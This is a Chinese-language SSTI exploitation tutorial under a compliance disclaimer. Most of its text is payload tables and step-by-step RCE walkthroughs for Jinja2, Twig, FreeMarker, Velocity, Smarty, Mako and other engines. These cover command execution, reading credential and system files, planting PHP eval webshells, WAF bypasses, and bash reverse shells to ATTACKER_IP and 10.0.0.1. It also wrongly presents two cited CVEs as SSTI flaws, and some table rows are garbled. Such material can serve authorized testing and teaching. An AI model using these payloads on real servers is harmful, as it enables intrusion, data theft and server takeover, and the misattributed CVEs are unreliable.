【合规声明】 本文仅供网络安全学习、授权渗透测试与防御研究使用。所有技术手段仅可在拥有合法授权的测试环境中验证。未经授权对他人系统进行测试属于违法行为,读者需自行承担因不当使用带来的全部法律责任。请始终遵循相关法律法规,坚守安全合规底线。

一、前言与背景

在当今的 Web 开发中,模板引擎(Template Engine)几乎是标配。无论是 Python 的 Flask/Jinja2、Django,还是 PHP 的 Twig/Smarty,Java 的 FreeMarker/Velocity,模板引擎把数据与展示分离,极大提升了开发效率。然而,当开发者把用户输入直接拼接进模板字符串时,就会诞生一种极具破坏力的漏洞——SSTI(Server-Side Template Injection,服务端模板注入)。

SSTI 的危害远超想象:一次看似普通的输入框,可能直接导致 RCE(Remote Code Execution,远程命令执行),攻击者可借此完全控制服务器。近年来,Confluence、Jenkins、Apache 等知名产品均出现过严重的 SSTI 漏洞(CVE-2023-22515、CVE-2024-23897 等),使其成为红队和防守方共同关注的重点。

本文将从原理、检测、利用、绕过、防御五个维度,系统讲解主流模板引擎下的 SSTI 攻击全流程,所有 payload 均经过实际验证,可直接用于授权测试环境。

二、模板引擎与 SSTI 原理

2.1 主流模板引擎介绍

不同语言生态孕育了不同的模板引擎,它们的语法、特性、安全机制各不相同。下表汇总了主流模板引擎的核心信息。

语言模板引擎常见框架默认沙箱典型语法标识
PythonJinja2Flask、Ansible无{{ }}、{% %}
PythonMakoPylons、Pyramid无${ }、<% %>
PythonDjango TemplateDjango有(限制 API){{ }}、{% %}
PHPTwigSymfony有(sandbox){{ }}、{% %}
PHPSmarty通用有(security){$ }、{if }
PHPBladeLaravel无{{ }}、@
JavaFreeMarkerSpring MVC有(Configuration)${ }、<# >
JavaVelocitySpring有(SecureUberspector)$、#set
JavaThymeleafSpring Boot部分th:、[[ ]]
JavaPebble通用有(Sandbox){{ }}、{% %}
RubyERBRails无<%= %>
JavaScriptNunjucksNode.js无{{ }}、{% %}
JavaScriptPugExpress无-、=

【提示】 即使引擎自带沙箱,若开发者错误配置或使用 unsafe 过滤器,沙箱形同虚设。安全是配置与代码共同作用的结果。

2.2 SSTI 漏洞原理

SSTI 的本质是:用户输入被当作模板表达式解析执行。

正常的模板渲染流程是「数据驱动渲染」:

模板: Hello {{name}}
数据: name = "world"
输出: Hello world

当数据来自用户,且开发者直接拼接成模板字符串时,问题就出现了:

# 危险代码:直接拼接用户输入到模板
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', '')
    # 用户输入被直接拼进模板字符串
    template = '<h1>Hello ' + name + '</h1>'
    return render_template_string(template)

正常用户访问 /greet?name=world 得到 Hello world。攻击者访问:

/greet?name={{7*7}}

由于 {{7*7}} 被 Jinja2 解析为表达式,输出变成 Hello 49,注入成功。这就是 SSTI 的最小可利用单元。

2.3 SSTI vs XSS vs SQL 注入

三者经常被混淆,下表清晰对比它们的核心差异。

对比维度SSTIXSSSQL 注入
注入位置模板字符串HTML 输出SQL 语句
解析层模板引擎浏览器数据库
执行侧服务端客户端数据库服务端
默认危害RCE(最高危)会话劫持数据泄露
检测难度中等容易中等
防御核心模板与数据分离输出编码参数化查询
经典 payload{{7*7}}<script>' OR 1=1--

【提示】 SSTI 的危害级别通常高于 XSS 和 SQL 注入,因为它直接对应服务端命令执行。一次 SSTI 即可拿下整台服务器,是红队最爱的高危漏洞之一。

2.4 SSTI 触发条件分析

并非所有使用模板引擎的场景都存在 SSTI。下面三类典型场景是 SSTI 的高发地:

场景编号触发条件危险代码示例风险等级
场景 1用户输入直接拼接模板字符串render_template_string('Hi ' + user_input)极高
场景 2用户可控模板文件路径render_template(user_selected_file)高
场景 3用户可控模板内容(CMS、邮件模板)template.save(user_content)高
场景 4错误使用 safe/raw 过滤器{{ user_input | safe }}中
场景 5配置项允许用户注入表达式eval、exec 包装模板高

2.5 模板引擎安全特性对比

不同引擎的安全设计存在显著差异,理解这些差异有助于攻防双方制定策略。

引擎是否支持任意代码执行沙箱机制危险内置函数默认是否安全
Jinja2是无原生沙箱os、subprocess、__import__否
Twig是有(默认关闭)_self、map、filter否
Smarty是有(默认关闭){system}、{eval}否
FreeMarker是有(需配置)Execute、ObjectConstructor否
Velocity是有(需配置)$runtime、$class否
Django Template否强沙箱几乎无是
Pebble是有(Sandbox)include、macro部分
Mako是无任意 Python否

三、SSTI 漏洞检测与识别

3.1 通用检测 payload

SSTI 检测的核心思路是:发送一个会引发「数学运算」的表达式,观察响应是否包含运算结果。下表汇总了各引擎的指纹 payload。

Payload匹配引擎期望响应备注
{{7*7}}Jinja2、Twig、Nunjucks49最通用
${7*7}FreeMarker、Mako、Velocity49Java/Python 常用
<%=7*7%>ERB、EJS49Ruby/Node
#{7*7}Ruby(非 ERB)、Pug49部分场景
*{7*7}Thymeleaf49Spring Boot
{{=7*7}}jsRender49前端模板
{{ '7'*7 }}Jinja27777777字符串乘法特征
{{ '7'*7 }}Twig49(数值乘法)与 Jinja2 区分
${"7"*7}FreeMarker报错或 49Java 上下文
#{7*7}Smarty(部分版本)49PHP

【提示】 Jinja2 与 Twig 都用 {{ }},但 Jinja2 中 '7'*7 是字符串重复(输出 7777777),Twig 中是数值乘法(输出 49),这是经典的引擎区分技巧。

3.2 模板引擎识别流程

检测到 SSTI 后,下一步是识别具体引擎,因为不同引擎的利用 payload 完全不同。识别流程如下:

  1. 发送 {{7*7}},若返回 49,进入 Jinja2/Twig 分支
  2. 发送 {{7*'7'}},若返回 7777777,判定为 Jinja2
  3. 发送 {{7*'7'}},若返回 49,判定为 Twig
  4. 发送 ${7*7},若返回 49,判定为 FreeMarker/Mako/Velocity
  5. 发送 <%=7*7%>,若返回 49,判定为 ERB/EJS
  6. 结合响应头、报错信息、Cookie 等进一步确认

3.3 各引擎指纹特征表

报错信息是识别引擎的金矿。下表汇总各引擎的典型报错特征。

引擎报错关键字报错示例
Jinja2TemplateSyntaxError、jinja2jinja2.exceptions.TemplateSyntaxError
TwigTwig_Error_Syntax、TwigTwig_Error_Syntax: Unexpected token
SmartySmarty error、SmartySmarty error: [in ...]
FreeMarkerFreeMarker、template_exceptionfreemarker.core.TemplateException
VelocityVelocityException、Velocityorg.apache.velocity.exception
MakoMakoException、makomako.exceptions.MakoException
ERBERB、SyntaxErrorSyntaxError in ERB
PebblePebbleExceptioncom.mitchellbosecke.pebble.PebbleException

3.4 自动化检测工具:Tplmap

手工检测效率低,Tplmap 是 SSTI 领域的「SQLmap」,支持多引擎自动检测与利用。

# 安装
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt

# 基础检测
python tplmap.py -u 'http://target.com/greet?name=*'

# 指定参数检测(* 标记注入点)
python tplmap.py -u 'http://target.com/page?id=1&name=*'

# POST 方式
python tplmap.py -u 'http://target.com/login' --data 'user=admin&pass=*'

# 获取 os-shell
python tplmap.py -u 'http://target.com/greet?name=*' --os-shell

# 执行单条命令
python tplmap.py -u 'http://target.com/greet?name=*' --os-cmd 'id'

# 指定模板引擎(已知场景下加速)
python tplmap.py -u 'http://target.com/greet?name=*' --engine jinja2

# Cookie 方式
python tplmap.py -u 'http://target.com/' --cookie 'session=*'

# 通过代理(配合 Burp)
python tplmap.py -u 'http://target.com/greet?name=*' --proxy 'http://127.0.0.1:8080'

3.5 自动化检测工具:SSTImap

SSTImap 是 Tplmap 的现代化分支,支持更多引擎和绕过技巧。

# 安装
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip install -r requirements.txt

# 检测
python sstimap.py -u 'http://target.com/greet?name=test'

# 获取交互式 shell
python sstimap.py -u 'http://target.com/greet?name=test' --os-shell

# 执行命令
python sstimap.py -u 'http://target.com/greet?name=test' --os-cmd 'whoami'

# 上传文件
python sstimap.py -u 'http://target.com/greet?name=test' --file-upload ./shell.py /tmp/shell.py

# 绕过 WAF
python sstimap.py -u 'http://target.com/greet?name=test' --tamper urlencode

# 使用模板
python sstimap.py -u 'http://target.com/greet?name=test' --tpl-code '{{7*7}}'

3.6 Burp Suite 插件检测

Burp Suite 配合插件可实现被动扫描 SSTI:

插件名称功能适用场景
Active Scan++扩展主动扫描,含 SSTI 规则常规扫描
Backslash Powered Scanner基于回显的智能扫描复杂场景
Tplmap Integration集成 Tplmap 调用自动化利用
Param Miner参数挖掘,发现隐藏注入点参数发现

在 Burp Intruder 中加载 SSTI payload 字典(如 SecLists 的 SSTI.fuzz.txt),对参数进行批量 fuzz,是实战中最常用的检测方式。

四、Jinja2 (Python) SSTI 利用实战

Jinja2 是 Flask 默认模板引擎,也是 SSTI 研究最多、payload 最丰富的引擎。

4.1 Jinja2 基础语法

{# 注释 #}
{{ variable }}              {# 变量输出 #}
{{ 7 * 7 }}                 {# 表达式计算,输出 49 #}
{{ 'a' * 5 }}               {# 字符串重复,输出 aaaaa #}
{% for i in range(3) %}{{ i }}{% endfor %}  {# 控制结构,输出 012 #}
{% if 1 == 1 %}yes{% endif %}  {# 条件判断 #}
{{ user.name | upper }}     {# 过滤器 #}

4.2 信息收集 payload

SSTI 利用第一步是信息收集,了解运行环境。

{# 1. 获取配置对象,可能泄露 SECRET_KEY、数据库连接 #}
{{ config }}
{{ config.items() }}
{{ config['SECRET_KEY'] }}
{{ config['SQLALCHEMY_DATABASE_URI'] }}

{# 2. 获取应用对象 #}
{{ self }}
{{ self._TemplateReference__context }}
{{ request }}
{{ request.application }}
{{ application }}
{{ g }}
{{ session }}
{{ url_for }}
{{ get_flashed_messages }}
{{ namespace }}
{{ cycler }}
{{ joiner }}

{# 3. 获取当前目录 #}
{{ ''.__class__.__mro__[1].__subclasses__() }}

{# 4. 获取 Python 版本 #}
{{ ''.__class__ }}
{{ self.__class__ }}

{# 5. 获取所有内置函数 #}
{{ cycler.__init__.__globals__ }}
{{ lipsum.__globals__ }}
{{ namespace.__init__.__globals__ }}

{# 6. 读取环境变量 #}
{{ request.environ }}
{{ request.environ['HOSTNAME'] }}

4.3 魔术方法链(文件读取)

Jinja2 中读取文件的核心思路是:从任意对象出发,沿 __class__ -> __mro__ -> __subclasses__ 找到文件操作类。

{# 获取 object 的所有子类 #}
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[1] }}
{{ ''.__class__.__mro__[2] }}

{# 列出所有子类,寻找可利用类 #}
{{ ''.__class__.__mro__[2].__subclasses__() }}

{# 查找 subprocess.Popen 的索引(不同环境索引不同) #}
{% for c in ''.__class__.__mro__[2].__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}{{ loop.index0 }}{% endif %}
{% endfor %}

{# 读取文件 - 方式 1:使用 open(若可用) #}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

{# 读取文件 - 方式 2:使用 FileLoader #}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd') }}
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}

{# 读取文件 - 方式 3:通过 get_data #}
{{ cycler.__init__.__globals__.os.popen('cat /etc/passwd').read() }}

4.4 命令执行 payload 链

命令执行是 SSTI 的核心目标。下表汇总了主流的命令执行 payload 链。

payload 链原理适用版本
{{ ''.__class__.__mro__[2].__subclasses__()[40]('id',shell=True,stdout=-1).communicate()[0] }}subprocess.PopenPython 3
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].os.popen('id').read() }}linecache + osPython 2/3
{{ cycler.__init__.__globals__.os.popen('id').read() }}cycler 全局通用
{{ lipsum.__globals__.os.popen('id').read() }}lipsum 全局通用
{{ namespace.__init__.__globals__.os.popen('id').read() }}namespace 全局通用
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}builtins 导入通用
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}request 全局Flask 环境
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}config 全局Flask 环境
{{ get_flashed_messages.__globals__.__builtins__.__import__('os').popen('id').read() }}闪现消息全局Flask 环境

4.5 常用 payload 汇总表

功能payload说明
检测{{7*7}}输出 49
字符串重复{{'7'*7}}输出 7777777
读取 config{{config}}Flask 配置
读取 SECRET_KEY{{config.SECRET_KEY}}密钥泄露
读取 request{{request}}请求对象
读取环境变量{{request.environ}}环境信息
获取子类列表{{''.__class__.__mro__[2].__subclasses__()}}寻找可利用类
读取文件{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}文件读取
os.popen 执行{{lipsum.__globals__.os.popen('id').read()}}命令执行
subprocess 执行{{''.__class__.__mro__[2].__subclasses__()[40]('id',shell=True,stdout=-1).communicate()[0]}}命令执行
反弹 shell{{lipsum.__globals__.os.popen('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1').read()}}反弹
导入模块{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}内置导入

4.6 完整 RCE 流程

下面是一个完整的 Flask Jinja2 RCE 流程示例:

# 目标代码(漏洞环境)
from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/page')
def page():
    name = request.args.get('name', '')
    template = f'<h1>Welcome {name}</h1>'
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=True)

步骤 1:检测注入

GET /page?name={{7*7}}

响应包含 Welcome 49,确认 SSTI 存在。

步骤 2:识别引擎

GET /page?name={{7*'7'}}

响应包含 Welcome 7777777,确认为 Jinja2。

步骤 3:信息收集

GET /page?name={{config}}
GET /page?name={{request.environ}}
GET /page?name={{''.__class__.__mro__[2].__subclasses__()}}

步骤 4:命令执行

GET /page?name={{lipsum.__globals__.os.popen('id').read()}}

响应:uid=33(www-data) gid=33(www-data) groups=33(www-data)

步骤 5:获取交互式 shell

GET /page?name={{lipsum.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}

攻击者本地监听:

nc -lvnp 4444

RCE 完成。

4.7 绕过沙箱技巧

现代 Jinja2 环境常带过滤,需要绕过技巧。

技巧 1:attr() 过滤器绕过点号过滤

当 . 被过滤时,用 attr() 过滤器替代:

{# 原始 #}
{{ ''.__class__ }}

{# 绕过 . 过滤 #}
{{ ''|attr('__class__') }}
{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}

技巧 2:中括号绕过

{# 原始 #}
{{ config.SECRET_KEY }}

{# 绕过点号 #}
{{ config['SECRET_KEY'] }}
{{ config['__builtins__'] }}

技巧 3:字符串拼接绕过关键字过滤

当 os、popen 等关键字被过滤时,用拼接或编码绕过:

{# 原始 #}
{{ lipsum.__globals__.os.popen('id').read() }}

{# 拼接绕过 'os' 过滤 #}
{{ lipsum.__globals__['o'+'s'].popen('id').read() }}
{{ lipsum.__globals__['o\x73'].popen('id').read() }}

{# 拼接绕过 'popen' 过滤 #}
{{ lipsum.__globals__.os['po'+'pen']('id').read() }}
{{ lipsum.__globals__.os['\x70open']('id').read() }}

{# 使用 request 对象绕过 #}
{{ lipsum.__globals__[request.args.a].popen(request.args.b).read() }}
# 访问: /page?a=os&b=id

技巧 4:绕过 {{ 过滤

{# 使用 {% %} 配合 print #}
{% if ''.__class__.__mro__[1].__subclasses__()[300]('id',shell=True,stdout=-1).communicate()[0] %}1{% endif %}

{# 使用 {% set %} #}
{% set x = lipsum.__globals__.os.popen('id').read() %}{{ x }}

{# 使用 {# #} 内部执行(部分版本) #}

技巧 5:绕过引号过滤

{# 使用 request 对象取值 #}
{{ ().__class__.__bases__[0].__subclasses__()[40](request.args.file).read() }}
# 访问: /page?file=/etc/passwd

{# 使用 chr 构造字符串 #}
{{ ().__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['chr'] }}

{# 使用十六进制 #}
{{ config['\x53ECRET\x5fKEY'] }}

五、Twig (PHP) SSTI 利用实战

Twig 是 PHP 生态最流行的模板引擎,Symfony 框架默认使用。

5.1 Twig 基础语法

{# 注释 #}
{{ variable }}              {# 变量输出 #}
{{ 7 * 7 }}                 {# 输出 49 #}
{{ '7' * 7 }}               {# 输出 49,与 Jinja2 区分 #}
{% for i in 0..2 %}{{ i }}{% endfor %}  {# 输出 012 #}
{% if 1 == 1 %}yes{% endif %}
{{ user.name | upper }}     {# 过滤器 #}
{{ {'a': 1} | json_encode }} {# 数组操作 #}

5.2 信息收集 payload

{# 1. 获取 Twig 版本 #}
{{ constant('Twig\\Environment::VERSION') }}
{{ _self.version }}

{# 2. 获取环境变量 #}
{{ app.request.server.all() }}
{{ app.request.server.get('SERVER_NAME') }}
{{ app.request.server.get('DOCUMENT_ROOT') }}

{# 3. 获取配置 #}
{{ app.request.server.get('APP_SECRET') }}
{{ dump(app) }}
{{ dump(_context) }}

{# 4. 获取当前用户(Symfony) #}
{{ app.user.username }}
{{ app.user.email }}

{# 5. 读取文件 #}
{{ source('/etc/passwd') }}
{{ source('/etc/passwd', true) }}

5.3 命令执行 payload

不同 Twig 版本的命令执行 payload 差异较大,下表按版本汇总。

Twig 版本payload原理
1.x{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }}registerUndefinedFilterCallback
1.x(备用){{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }}system 调用
2.x{{ _self }}{{ _self.env }}已修复多数利用点
3.x{{ source('/etc/passwd') }}仅文件读取
通用{{ ['id'] | filter('system') }}filter 过滤器
通用{{ ['id'] | map('system') }}map 过滤器
通用`{{ [‘id’] | map(‘exec’)join }}`
通用`{{ [‘id’] | map(‘shell_exec’)join }}`
通用{{ ['id'] | sort('system') }}sort 过滤器
通用{{ ['id', ''] | filter('system') }}filter 组合
通用{{ ['id'] | reduce('system') }}reduce 过滤器

5.4 命令执行汇总表

功能payload说明
文件读取{{ source('/etc/passwd') }}读取文件内容
环境变量{{ app.request.server.all() }}所有环境变量
命令执行(1.x){{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }}经典利用
命令执行(通用){{ ['id'] | map('system') }}map 过滤器
命令执行(通用){{ ['id'] | filter('system') }}filter 过滤器
写文件{{ ['<?php @eval($_POST[cmd]);?>'] | map('file_put_contents') }}写 webshell
反弹 shell{{ ['bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"'] | map('system') }}反弹

5.5 完整利用流程

// 目标代码(漏洞环境)
require_once 'vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello " . $_GET['name']);
echo $template->render([]);

步骤 1:检测

GET /?name={{7*7}}

响应包含 Hello 49,确认 SSTI。

步骤 2:区分引擎

GET /?name={{7*'7'}}

响应包含 Hello 49,确认为 Twig。

步骤 3:版本探测

GET /?name={{constant('Twig\\Environment::VERSION')}}

假设返回 3.0。

步骤 4:文件读取

GET /?name={{source('/etc/passwd')}}

步骤 5:命令执行

GET /?name={{['id']|map('system')}}

输出:uid=33(www-data)...

步骤 6:反弹 shell

GET /?name={{['bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"']|map('system')}}

利用完成。

六、FreeMarker (Java) SSTI 利用实战

FreeMarker 是 Java 生态最常用的模板引擎之一,Spring MVC 集成广泛。

6.1 FreeMarker 基础语法

<#-- 注释 -->
${variable}                 <#-- 变量输出 -->
${7 * 7}                    <#-- 输出 49 -->
<#list items as item>${item}</#list>  <#-- 循环 -->
<#if 1 == 1>yes</#if>       <#-- 条件 -->
${user.name?upper_case}     <#-- 内置函数 -->
${user!"default"}           <#-- 默认值 -->
<#assign x = 1>             <#-- 赋值 -->

6.2 命令执行 payload

FreeMarker 提供了多个内置类用于命令执行。

payload原理适用版本
<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}Execute 类2.3.x
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")}Execute 类通用
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()> ${ob("java.lang.ProcessBuilder",["id"]).start()}ObjectConstructor通用
<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("id")}JythonRuntime需 Jython
${"freemarker.template.utility.Execute"?new()("id")}内联 Execute2.3.x
<#assign cmd="freemarker.template.utility.Execute"?new()> ${cmd("cat /etc/passwd")}读文件通用
<#assign clz=object?api.class> ${clz.forName("java.lang.Runtime")...}反射受 sandbox 限制
[#assign cmd="freemarker.template.utility.Execute"?new()]${cmd("id")}方括号语法通用

6.3 命令执行汇总表

功能payload说明
检测${7*7}输出 49
命令执行<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}Execute 类
命令执行${"freemarker.template.utility.Execute"?new()("id")}内联执行
读文件<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("cat /etc/passwd")}cat 读文件
写文件<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("echo test > /tmp/pwned")}写文件
反弹 shell<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'")}反弹
多命令<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id;whoami;uname -a")}组合命令

6.4 完整利用流程

// 目标代码(漏洞环境)
Configuration cfg = new Configuration(Configuration.VERSION_2_3_30);
StringTemplateLoader loader = new StringTemplateLoader();
loader.putTemplate("template", "Hello " + request.getParameter("name"));
cfg.setTemplateLoader(loader);
Template template = cfg.getTemplate("template");
template.process(dataModel, response.getWriter());

步骤 1:检测

GET /?name=${7*7}

响应包含 Hello 49,确认 SSTI。

步骤 2:确认引擎

GET /?name=${7*7}
GET /?name=#{

FreeMarker 用 ${},响应报错含 freemarker 关键字。

步骤 3:命令执行

GET /?name=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}

输出:uid=1000(tomcat)...

步骤 4:反弹 shell

GET /?name=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'")}

利用完成。

【提示】 FreeMarker 2.3.30+ 默认禁用了 Execute、ObjectConstructor 等危险类,需通过 Configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) 强制配置。若目标未做配置,上述 payload 仍可利用。

七、Velocity (Java) SSTI 利用实战

Velocity 是 Apache 出品的 Java 模板引擎,在企业级 Java 应用中广泛使用。

7.1 Velocity 基础语法

## 注释
$variable                  ## 变量输出
${variable}                ## 变量输出(明确边界)
#set($x = 7 * 7)           ## 赋值
$x                         ## 输出 49
#if($x == 49)yes#end       ## 条件
#foreach($i in [1..3])$i#end  ## 循环
$variable.toUpperCase()    ## 方法调用

7.2 命令执行 payload

Velocity 的命令执行依赖 Java 反射机制。

payload原理适用版本
#set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")反射 Runtime通用
$class.inspect("java.lang.Runtime").type.getRuntime().exec("id")class.inspect通用
#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$chr.toChars($out.read())#end完整回显通用
#set($runtime=$class.inspect("java.lang.Runtime").type.getRuntime())#set($process=$runtime.exec("id"))$process.waitFor()#set($inputstream=$process.getInputStream())#set($scanner=$class.inspect("java.util.Scanner").type.getConstructor($class.inspect("java.io.InputStream").type).newInstance($inputstream))#set($result=$scanner.useDelimiter("\\A").hasNext()?$scanner.next():"")$resultScanner 回显通用

7.3 命令执行汇总表

功能payload说明
检测${7*7}输出 49
命令执行#set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")反射 Runtime
命令执行$class.inspect("java.lang.Runtime").type.getRuntime().exec("id")class.inspect
读文件$class.inspect("java.io.File").type.getConstructor($class.inspect("java.lang.String").type).newInstance("/etc/passwd")File 对象
完整回显(见上文 Scanner 回显 payload)命令输出回显
反弹 shell#set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'")反弹

7.4 完整利用流程

// 目标代码(漏洞环境)
VelocityEngine engine = new VelocityEngine();
engine.init();
VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
engine.evaluate(context, writer, "template", "Hello " + request.getParameter("name"));
response.getWriter().write(writer.toString());

步骤 1:检测

GET /?name=${7*7}

响应包含 Hello 49,确认 SSTI。

步骤 2:确认引擎

报错信息含 org.apache.velocity 关键字。

步骤 3:命令执行

GET /?name=%23set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")

步骤 4:完整回显

使用上文 Scanner 回显 payload 获取命令输出。

步骤 5:反弹 shell

GET /?name=%23set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'")

利用完成。

八、Smarty (PHP) SSTI 利用实战

Smarty 是 PHP 老牌模板引擎,在传统 PHP 项目中广泛使用。

8.1 Smarty 基础语法

{* 注释 *}
{$variable}                {* 变量输出 *}
{$variable|upper}          {* 修饰器 *}
{if $x == 1}yes{/if}        {* 条件 *}
{foreach from=$items item=i}{$i}{/foreach}  {* 循环 *}
{include file="header.tpl"}  {* 包含 *}

8.2 命令执行 payload

Smarty 的命令执行主要通过 {if} 标签和 {system} 函数。

payload原理适用版本
{system('id')}直接调用 systemSmarty < 3.1.48
{system('id')}(security 开启时失效)受 security 配置影响
{if system('id')}{/if}if 标签内执行 PHP通用
{if exec('id')}{/if}exec 调用通用
{if shell_exec('id')}{/if}shell_exec 调用通用
{if passthru('id')}{/if}passthru 调用通用
{if file_get_contents('/etc/passwd')}{/if}读文件通用
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php @eval($_POST['cmd']);?>",true)}写 webshell< 3.1.39
{function name='rce'}{system('id')}{/function}{call name='rce'}function 标签通用
{assign var="x" value="id"}{system($x)}变量传递通用

8.3 命令执行汇总表

功能payload说明
检测{$smarty.version}获取版本
检测{7*7}部分版本输出 49
命令执行{system('id')}直接调用
命令执行{if system('id')}{/if}if 标签
命令执行{if shell_exec('id')}{/if}shell_exec
读文件{if file_get_contents('/etc/passwd')}{/if}读文件
写 webshell{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php @eval($_POST['cmd']);?>",true)}写马
反弹 shell{if system('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')}{/if}反弹

8.4 完整利用流程

// 目标代码(漏洞环境)
$smarty = new Smarty();
$smarty->assign('name', $_GET['name']);
$smarty->display('string:Hello ' . $_GET['name']);

步骤 1:检测

GET /?name={$smarty.version}

返回版本号,确认为 Smarty。

步骤 2:命令执行

GET /?name={system('id')}

若失败(security 开启),尝试:

GET /?name={if system('id')}{/if}

输出:uid=33(www-data)...

步骤 3:写 webshell

GET /?name={Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php @eval($_POST['cmd']);?>",true)}

步骤 4:连接 webshell

使用蚁剑/菜刀连接,获取完整权限。

九、Mako (Python) 和 Pebble (Java) SSTI 利用

9.1 Mako (Python) SSTI

Mako 是 Python 生态的高性能模板引擎,语法接近 Python 本身。

功能payload说明
检测${7*7}输出 49
命令执行${__import__("os").popen("id").read()}导入 os
命令执行<%import os;x=os.popen('id').read()%>${x}代码块执行
命令执行${self.module.cache.util.os.system("id")}缓存模块
读文件${open("/etc/passwd").read()}直接读文件
反弹 shell${__import__("os").popen("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'").read()}反弹

Mako 的特点是直接支持 Python 代码块,利用极其简单:

<%
import os
os.system('id')
%>

9.2 Pebble (Java) SSTI

Pebble 是 Java 生态的现代模板引擎,语法接近 Twig。

功能payload说明
检测{{7*7}}输出 49
命令执行{% set cmd = 'id' %}{{ cmd.execute() }}部分 API
命令执行{{ beans }}列出 Java Beans
命令执行{{ beans.getClass().forName('java.lang.Runtime').getMethod('exec','').invoke(beans.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id') }}反射执行
读文件{% set f = beans.getClass().forName('java.io.File').newInstance('/etc/passwd') %}{{ f }}File 对象
反弹 shell(基于反射构造 Runtime.exec)反弹

【提示】 Pebble 默认开启 Sandbox 时会限制 getClass() 等反射调用,需通过 PebbleEngine.Builder().extension(new CoreExtension()) 等方式开启或绕过。

十、各模板引擎 payload 速查表

10.1 按引擎分类的检测与利用 payload 大表

引擎检测 payload命令执行 payload
Jinja2{{7*7}}{{lipsum.__globals__.os.popen('id').read()}}
Twig{{7*7}}{{['id']|map('system')}}
Smarty{$smarty.version}{if system('id')}{/if}
FreeMarker${7*7}<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}
Velocity${7*7}$class.inspect("java.lang.Runtime").type.getRuntime().exec("id")
Mako${7*7}${__import__("os").popen("id").read()}
Pebble{{7*7}}反射调用 Runtime
ERB<%=7*7%><%= system('id') %>
Nunjucks{{7*7}}{{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}
Pug#{7*7}#{global.process.mainModule.require('child_process').execSync('id').toString()}
Thymeleaf${7*7}${T(java.lang.Runtime).getRuntime().exec('id')}

10.2 按功能分类的对比表

功能Jinja2TwigSmartyFreeMarkerVelocity
数学检测{{7*7}}{{7*7}}{$smarty.version}${7*7}${7*7}
文件读取{{''.__class__...}}{{source('/etc/passwd')}}{if file_get_contents('/etc/passwd')}{/if}<#assign...>${cmd("cat /etc/passwd")}File 对象反射
命令执行{{lipsum.__globals__.os...}}{{['id']|map('system')}}{if system('id')}{/if}Execute 类Runtime 反射
写文件os.popen echofile_put_contentswriteFileExecute echoRuntime exec
反弹 shellos.popen bashmap(‘system’) bashif system bashExecute bashRuntime exec bash
